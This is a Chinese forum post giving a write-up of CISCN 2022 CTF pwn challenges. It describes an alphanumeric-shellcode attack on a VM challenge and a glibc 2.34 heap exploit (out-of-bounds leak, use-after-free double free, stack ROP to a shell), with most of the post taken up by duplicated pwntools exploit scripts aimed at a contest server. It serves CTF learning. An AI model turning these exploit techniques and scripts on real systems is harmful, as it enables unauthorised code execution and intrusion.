-
-
[原创]ciscn2022 pwn部分wp
-
发表于: 2022-6-15 12:32 10771
-
vmpwn+shellcode,拿到root权限后直接发送即可
shellcode来源https://hama.hatenadiary.jp/entry/2017/04/04/190129,将rax修改为rdx(本题call shellcode的寄存器为rdx)
2.34版本的堆题,没有free_hook和malloc_hoook,故利用类似orw的方式,打栈的ret返回地址。
mmap申请极大的堆到libc段之上(malloc的是低位,而pagesnum是整个高位),show没有检查边界,可以通过show来泄露libc
(这里有一个漏洞点就是,malloc的参数使用的是32位寄存器,而赋值变量的时候是64位,故可以造成越界)
存在UAF,故可以使用double free,没有edit,故考虑fastbin double free,实现任意地址写
利用environ指针泄露出栈地址,然后申请到栈上写返回地址ROP即可(onegadget没打通)
#
另一种解法:
申请大堆块来利用show的越界泄露libc基地址,利用UAF来泄露堆地址,利用doublefree申请到exit_hook附近,此exithook为动调exit时找到的一个可以的call的函数地址,将其修改为onegadget即可,tcache申请有检查对齐,故从exit_hook-0x8开始写即可通过检查。
from
pwn
import
*
#p = process("./login")
p
=
remote(
'59.110.105.63'
,
41076
)
def
run_vm(code):
p.recvuntil(
">>> "
)
p.send(code)
#code =
code
=
b
"msg:"
+
b
'ro0ta\n'
+
b
"opt:"
+
b
'1\n\n'
run_vm(code)
code
=
b
"msg:"
+
b
'RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAa\n'
+
b
"opt:"
+
b
'2\n\n'
#gdb.attach(p,'b *$rebase(0xEC9)')
run_vm(code)
p.interactive()
from
pwn
import
*
#p = process("./login")
p
=
remote(
'59.110.105.63'
,
41076
)
def
run_vm(code):
p.recvuntil(
">>> "
)
p.send(code)
#code =
code
=
b
"msg:"
+
b
'ro0ta\n'
+
b
"opt:"
+
b
'1\n\n'
run_vm(code)
code
=
b
"msg:"
+
b
'RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAa\n'
+
b
"opt:"
+
b
'2\n\n'
#gdb.attach(p,'b *$rebase(0xEC9)')
run_vm(code)
p.interactive()
from
pwn
import
*
p
=
process(
"newest_note"
)
#context.log_level = 'debug'
p.recvuntil(
"How many pages your notebook will be? :"
)
p.send(
str
(
0x40010000
).rjust(
19
,
'0'
))
def
add(idx,data):
p.recvuntil(
"4. Exit"
)
p.send(
"1"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
p.recvuntil(
"Content: "
)
p.send(data)
def
free(idx):
p.recvuntil(
"4. Exit"
)
p.send(
"2"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
def
show(idx):
p.recvuntil(
"4. Exit"
)
p.send(
"3"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
show(
0x537F5
)
#env
p.recvuntil(
"Content: "
)
stack
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x158
print
(
hex
(stack))
show(
0x537F5
-
0xc
)
#stdin
p.recvuntil(
"Content: "
)
libc_base
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x218a80
print
(
hex
(libc_base))
for
i
in
range
(
10
):
add(i,
'aa'
)
for
i
in
range
(
7
):
free(
6
-
i)
show(
6
)
p.recvuntil(
"Content: "
)
heap
=
u64(p.recv(
5
)
+
b
'\x00\x00\x00'
)
*
0x1000
print
(
hex
(heap))
free(
7
)
free(
8
)
free(
7
)
for
i
in
range
(
7
):
add(i,
'aa'
)
add(
7
,p64(
int
(heap
/
0x1000
) ^ stack))
add(
8
,
'aa'
)
add(
10
,
'aa'
)
gdb.attach(p,
'b *$rebase(0x14A4)'
)
one
=
[
0xeeccc
,
0xeeccf
,
0xeecd2
]
pop_rdi
=
libc_base
+
0x000000000002e6c5
execvp
=
libc_base
+
0xEE844
bin_sh
=
libc_base
+
0x1DBCBA
add(
0
,p64(
0
)
+
p64(pop_rdi)
+
p64(bin_sh)
+
p64(execvp))
p.interactive()
from
pwn
import
*
p
=
process(
"newest_note"
)
#context.log_level = 'debug'
p.recvuntil(
"How many pages your notebook will be? :"
)
p.send(
str
(
0x40010000
).rjust(
19
,
'0'
))
def
add(idx,data):
p.recvuntil(
"4. Exit"
)
p.send(
"1"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
p.recvuntil(
"Content: "
)
p.send(data)
def
free(idx):
p.recvuntil(
"4. Exit"
)
p.send(
"2"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
def
show(idx):
p.recvuntil(
"4. Exit"
)
p.send(
"3"
.rjust(
19
,
'0'
))
p.recvuntil(
"Index: "
)
p.send(
str
(idx).rjust(
19
,
'0'
))
show(
0x537F5
)
#env
p.recvuntil(
"Content: "
)
stack
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x158
print
(
hex
(stack))
show(
0x537F5
-
0xc
)
#stdin
p.recvuntil(
"Content: "
)
libc_base
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x218a80
print
(
hex
(libc_base))
for
i
in
range
(
10
):
add(i,
'aa'
)
for
i
in
range
(
7
):
free(
6
-
i)
show(
6
)
p.recvuntil(
"Content: "
)
heap
=
u64(p.recv(
5
)
+
b
'\x00\x00\x00'
)
*
0x1000
print
(
hex
(heap))
free(
7
)
free(
8
)
free(
7
)
for
i
in
range
(
7
):
add(i,
'aa'
)
add(
7
,p64(
int
(heap
/
0x1000
) ^ stack))
add(
8
,
'aa'
)
add(
10
,
'aa'
)
gdb.attach(p,
'b *$rebase(0x14A4)'
)
one
=
[
0xeeccc
,
0xeeccf
,
0xeecd2
]
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏记录
参与人
雪币
留言
时间
一笑人间万事
为你点赞~
2023-1-12 04:05
shinratensei
为你点赞~
2022-7-15 11:17
伟叔叔
为你点赞~
2022-7-15 11:10
TripleJ
为你点赞~
2022-6-15 18:24
赞赏
看原图
赞赏
雪币:
留言: